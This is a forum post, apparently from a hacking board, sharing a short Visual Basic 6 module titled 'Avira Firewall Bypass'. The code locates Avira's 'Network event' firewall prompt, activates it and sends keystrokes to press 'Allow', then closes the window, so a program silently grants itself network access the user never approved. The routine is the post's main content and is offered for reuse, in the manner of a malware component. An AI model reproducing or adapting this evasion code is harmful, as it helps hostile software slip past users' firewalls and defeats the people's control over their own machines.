Jump to content
Nytro

[VB6] Avira Firewall Bypass

Recommended Posts

'---------------------------------------------------------------------------------------
' Module : mAviraFwb
' DateTime : 13/10/2009
' Author : fooley
' Purpose : Bypass Avira firewall prompt message
' Usage : At your own risk
' Requirements: None
' Distribution: You can freely use this code in your own
' applications, but you may not reproduce
' or publish this code on any web site,
' online service, or distribute as source
' on any media without express permission.
'---------------------------------------------------------------------------------------

Private Declare Function PostMessage Lib "user32" Alias "PostMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpwindowname As String) As Long
Private Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long
Private Declare Function SetWindowPos Lib "user32" (ByVal hwnd As Long, ByVal hWndInsertAfter As Long, ByVal x As Long, ByVal y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long

Sub mAviraFwb()
lngHandle = FindWindow(vbNullString, "Network event")
If (lngHandle <> 0) Then
lngStartButton = FindWindowEx(lngHandle, 0, "", "&Allow")
SetWindowPos lngHandle, 0, 0, 0, 0, 0, 2
AppActivate ("Network event")
SendKeys "{left}"
SendKeys "{enter}"
WireClose = PostMessage(lngHandle, &H10, 0&, 0&)
End If
End Sub

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...